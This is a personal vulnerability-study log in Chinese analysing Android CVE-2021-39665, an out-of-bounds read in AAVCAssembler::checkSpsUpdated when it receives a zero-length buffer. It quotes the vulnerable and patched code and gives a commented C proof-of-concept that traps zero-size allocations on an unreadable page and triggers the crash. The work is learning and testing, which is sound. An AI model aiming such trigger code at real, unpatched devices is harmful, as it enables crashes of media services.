2023.09.11 补 2023.09.08 哎,8号卡在一个蓝牙cve,分析不出来就顿住了。不能这样了,以后遇到分析不出来的就先挂着吧。

CVE-2021-39665 A-204077881 ID 12

patch

分析

很明显,没有检查传入的参数buffer的长度。如果传入的buffer的长度为0,那么data[0]那里就会发生越界读。
相邻的另一个函数checkIFrameProvided就检查了入参buffer的长度。

void AAVCAssembler::checkSpsUpdated(const sp<ABuffer> &buffer) {
    const uint8_t *data = buffer->data();
    unsigned nalType = data[0] & 0x1f; // 如果buffer的长度为0,则data[0]这里会发生越界读
    if (nalType == 0x7) {
        int32_t width = 0, height = 0;
        FindAVCDimensions(buffer, &width, &height);
        if (width != mWidth || height != mHeight) {
            mFirstIFrameProvided = false;
            mWidth = width;
            mHeight = height;
            ALOGD("found a new resolution (%u x %u)", mWidth, mHeight);
        }
    }
}



void AAVCAssembler::checkIFrameProvided(const sp<ABuffer> &buffer) {
    if (buffer->size() == 0) {
        return;
    }
    const uint8_t *data = buffer->data();
    unsigned nalType = data[0] & 0x1f;
    if (nalType == 0x5) {
        mLastIFrameProvidedAtMs = ALooper::GetNowUs() / 1000;
        if (!mFirstIFrameProvided) {
            mFirstIFrameProvided = true;
            uint32_t rtpTime;
            CHECK(buffer->meta()->findInt32("rtp-time", (int32_t *)&rtpTime));
            ALOGD("got First I-frame to be decoded. rtpTime=%d, size=%zu", rtpTime, buffer->size());
        }
    }
}

诶,还发现旁边dropFramesUntilIframe函数也有同样的问题,但可惜,最新代码里已经改了:

bool AAVCAssembler::dropFramesUntilIframe(const sp<ABuffer> &buffer) {
    const uint8_t *data = buffer->data();
    unsigned nalType = data[0] & 0x1f;
    if (!mFirstIFrameProvided && nalType < 0x5) {
        return true;
    }
    return false;
}

PoC

#include <dlfcn.h>

#include "../includes/common.h"

#define private public
#include <media/stagefright/rtsp/AAVCAssembler.h>

using namespace android;

bool isOverloadingEnabled = false;

bool isTestInProgress = false;

struct sigaction newAction, oldAction;

static void *(*realMalloc)(size_t) = nullptr;

// 重定义malloc函数
void *malloc(size_t size) {
    // 如果realMalloc为nullptr,则通过dlsym函数获取malloc函数的地址,并赋值给realMalloc
    // 也就是还是调用原来的malloc
    if (!realMalloc) {
        realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
        if (!realMalloc) {
            return nullptr;
        }
    }
    // 如果isOverloadingEnabled为true并且申请分配的空间size为0,
    // 则通过memalign函数分配内存,并使用mprotect函数将内存的访问权限设置为PROT_NONE
    // PROT_NONE表示将内存区域的访问权限设置为无权限,即不能读取、写入或执行该内存区域。
    if (isOverloadingEnabled && (size == 0)) {
        size_t pageSize = sysconf(_SC_PAGE_SIZE); // pageSize = 4k?
        void *ptr = memalign(pageSize, pageSize); // 分配一个4k大小的内存块(对齐4k)
        mprotect(ptr, pageSize, PROT_NONE); // 将通过memalign函数分配的内存区域的访问权限设置为无权限,以保护该内存区域不被访问或修改。
        return ptr;
    }
    // 最后返回realMalloc(size)
    return realMalloc(size);
}

void sigsegv_handler(int signum, siginfo_t *info, void *context) {
    // 如果isTestInProgress为true并且info->si_signo等于 SIGSEGV,
    // 则调用oldAction.sa_sigaction函数,并返回。否则,调用_exit(EXIT_FAILURE)。
    if (isTestInProgress && info->si_signo == SIGSEGV) {
        (*oldAction.sa_sigaction)(signum, info, context);
        return;
    }
    _exit(EXIT_FAILURE);
}

int main() {
    // 清空newAction.sa_mask
    sigemptyset(&newAction.sa_mask);
    newAction.sa_flags = SA_SIGINFO;
    newAction.sa_sigaction = sigsegv_handler;
    // 注册SIGSEGV信号的处理函数为 sigsegv_handler
    // 并将旧的信号处理函数保存在oldAction中
    sigaction(SIGSEGV, &newAction, &oldAction);

    sp<ABuffer> buffer(new ABuffer(16));
    FAIL_CHECK(buffer != nullptr);

    sp<AMessage> meta = buffer->meta();
    FAIL_CHECK(meta != nullptr);

    uint32_t rtpTime = 16;
    meta->setInt32("rtp-time", rtpTime);

    AAVCAssembler *assembler = new AAVCAssembler(meta);
    FAIL_CHECK(assembler != nullptr);

    isOverloadingEnabled = true; // 设置这个变量之后,下面申请size为0的堆块时,就会分配一页大小的空间,但是是不可访问的
    sp<ABuffer> zeroSizedBuffer(new ABuffer(0));
    isOverloadingEnabled = false;

    isTestInProgress = true; // 设置isTestInProgress为false,那么当访问不可访问的地址时,发生SIGSEGV,进而进入sigsegv_handler函数里的if条件,然后?
    assembler->checkSpsUpdated(zeroSizedBuffer);
    isTestInProgress = false;

    return EXIT_SUCCESS;
}

后面再补上触发效果吧。